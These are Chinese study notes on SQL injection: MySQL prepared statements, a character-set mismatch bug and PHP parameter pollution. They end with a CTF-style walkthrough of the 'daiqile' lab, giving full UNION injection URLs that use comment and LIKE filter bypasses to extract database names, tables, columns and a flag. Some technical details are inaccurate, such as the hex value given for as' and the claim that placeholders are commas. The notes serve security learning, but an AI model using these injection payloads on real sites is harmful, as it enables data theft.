1、MySQL的真实预编译和虚拟预编译 --防止sqsl注入,首当其冲预编译
--1、在MySQL中预编译分为了真实的预编译和虚拟预编译;默认是虚拟预编译,真实预编译需要修改应该参数PDO,这个参数设置成false之后MySQL才会进行真实预编译,默认为true;
--2、真实预编译和虚拟预编译的区别
---1、虚拟预编译:他只是单纯的在对具有sql注入危险的符号进行了转义\,并没有起到真正的预编译效果;同时他也没有起到参数绑定,还是只是单纯的字符串拼接,没有想真实预编译那种用?来提前占位;
所以虚拟预编译只是将特殊字符转义了
---2、真实的预编译:他首先是对sql语句先进行一个预编译,此时的sql语句是没有参数值的,而在预编译的时候,参数值的位置就会用逗号占位;也就是说,系统已经把这个位置直接给参数绑定了,就是这个位置来的东西肯定是一个参数值,而不是一个sql语句;所以我们的含有sql语句的参数值进来的后,系统会把他当成一个参数值进行查找;那么这个参数绑定化到底是怎么实现的呢?
1、提前编译,?占位;
2、含有特殊字符的如单引号还是会被转义
3、将以上两种步骤设置完了之后,还会将参数进行hex化,也就是将参数转换成16进制;
---这样,即使是MySQL的宽字节注入不能将转义字符合并逃出单引号;
--3、MySQL中,除开可以执行正常输入的值以外,还可以执行16进制输入值;
当我们执行MySQL语句的时候,可以把部分数据替换成16进制;除开select、数据库名、表名等关键字,其余都可以替换
---注意:0x6173327是as';如果是正常数据as'是无法执行的,但是转换成16进制后,可以执行
---预编译的注意事项:我们的预编译一般只能用来编译数值部分;因此在预编译的时候,会自动给空缺的数值部分打上一个占位符?,当预编译完成,数值进来sql语句之后,系统会自动给这个数值打上双引号,就会变成字符串,
如:select ?username from users
就会变成select 'username' from users;显然,这种是有问题,是不能将字段名变成字符串的;
顺而:order by/group by后面的参数值也不能预编译;
真正可以预编译的位置只能是:一个真正的值,一个真正可以成为字符串的值,如:where id = ?
2、滑动窗口就是一次性发送多个数据包,将多个ack回复堆叠在一起了;为了满足存储多个数据的要求,就有了缓冲区的这个机制;但是滑动窗口是不知道对方的的缓冲区大小的;所以需要流量控制;
3、sql的基本补充
--1、updatexml是and,select子查询是union,floor也是基于select的
--2、为什么地址栏输入~不行,但是加上单引号'~'就行,或者0x7e也可以;
原因:大哥,我们的sql语句执行是必须满足数据类型条件的,这个~明显就是字符串,你怎么能不添加单引号,而且MySQL是可以执行16进制值的
4、MySQL客户端为utf-8服务端为latin1编码会造成的漏洞
--1、我们的MySQL其实是分为客户端和服务端两部分:客户端就是我们平常输入命令时打交道的软件,服务端就是软件背后真正去执行我们要求的一个内在软件
--2、当我们的客户端的编码为utf-8,而我们的服务器编码为latin1就会出现一个问题
--->当我们输入一个汉字的组成的其中一个字符时,那么传给后端,此时后端是能够识别的,因为后端是utf-8编码的字符集(注意,这里只是说后端是utf-8的字符集,并不是说要将输入数据进行一个utf-8编码),所以后端是允许组成一个汉字的一个字符存在的;
但是当后端传给MySQL数据库时,这里就是connection传给server,那么就会涉及到字符集转换,因为latin1识别不了中文,所以中文的一个组成字符过来了以后,server会直接将其丢弃掉;因此就会出现后端的字符串传给MySQLserver时,会发生变化;
如:后端的时候str=admin\xe4,那么传给MySQLserver后 str=admin,\xe4会被丢弃
这样就出现了MySQL客户端和服务端编码不同造成的漏洞;
--3当客户端传给MySQLserver的数据直接是一个汉字时,且当此时MySQL的客户端编码是utf-8,服务端是latin1,那么此时MySQLserver不是丢弃该汉字,而是直接报错!!
项目:贷齐乐漏洞
1、解释代码
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
这个是将数组左边的一一替换成数组右边的;&和&在html中都是显示&的作用;通常进行这样的替换目的多半都是避免这个str字符串会被拿去执行操作,如sql语句的执行而sql语句的执行会把&看成是and的意思,所以就得把这个&替换成&
2、http的全局污染:当我们的请求中有多个相同参数,即使他们的值不相同,也是只取最后一个参数的值;
--如地址栏的url--->i_d=1&i_d=2&c=3,
则php内部;$_GET['i_d']/$_POST['i_d']/REQUEST/SERVER都是取最后一个值:2
3、php中
--1、当使用request\post\get这种获取请求参数的值时,那么i_d=i.d=i]d;
因此当url=: i_d=1&i.d=2&i]d=3,则$_REQUEST/GET/POST值就 = i]d=3 //http全局污染
--2、当使用url获取值时,则php是直接从url地址栏获取,因此url地址栏上的值是多少,那么$_SERVER['REQUEST_URI']的值就是那么多
---直接获取request中的值使用:$_REQUEST/GET/POST
---直接获取url中的值使用:$_SERVER['REQUEST_URI']
--注意:这里如果使用 $_SERVER['REQUEST_URI']直接获取url中的值,那么系统就会原封不动的将url地址栏上的值拿到php中,不会做任何转换,本来浏览器地址栏到后端就不会做什么转换;因此:因为空格在url中会编码成%20,所以通过url取出来到php中的值也是%20,而不是空格;
(补充:url编码是浏览器地址栏敲下回车键时,自动编码的,因为地址栏上数据只能是url编码形式存在;但是传给后端的数据是没有进行url编码的)
步入正题:开始注入 --想在url中输入多个参数,就用&连接
--1、首先我们来查询数据库,因为这里对英文()转义成了中文(),因此只能用information_schema数据库进行查询本数据库;
查询数据库的话使用SCHEMATA最为合适,因为columns表和tables表中的table_schema字段都有重复的值;因此最佳方法就是查询information_schema库中的schemata数据表
http://192.168.93.1/daiqile/index.php?submit=a&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata&i.d=1
--2、其次,通过已有数据库查询数据表
http://192.168.93.1/daiqile/index.php?submit=a&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466&i.d=1
--注意这里不能用等号=,因为后端就是通过等号=将我们的不同的参数进行划分的;因此我们这里只能使用具有模糊查询功能的like (想要模糊查询就用%ctf)
--3、数据表有了,下面就开始查询字段名啦
http://192.168.93.1/daiqile/index.php?submit=a&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/0x7573657273/**/and/**/table_schema/**/like/**/0x637466&i.d=1
--4、字段名有啦,我们就可以真正的查询出flag啦
http://192.168.93.1/daiqile/index.php?submit=a&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users/**/&i.d=1
总结知识点
1、http的参数污染:对于php来说,如果我要获取的参数值有多个,则默认只获取最后一个;
2、php中
--1、当使用request\post\get这种获取请求参数的值时,那么i_d=i.d=i]d;
因此当url:i_d=1&i.d=2&i]d=3,则$_REQUEST/GET/POST值= i]d=3 //http全局渲染
--2、当使用url获取值时,因为是php直接从url地址栏获取,因此url地址栏上的值是多少,那么$_SERVER['REQUEST_URI']的值就是那么多
3、
--1、MySQL中空格可以用/**/代替;
--2、=等号可以用like代替;
--3、查询数据库schemata最合适
查询数据表tables最合适
查询字段名columns最合适
其他环境的参数污染
---------------------------------我们只讲思路,不讲详细过程;
过程是背,思路是理解;
想要走多远,10%背+90%理解
祝你年薪百万,成绩辉煌!!!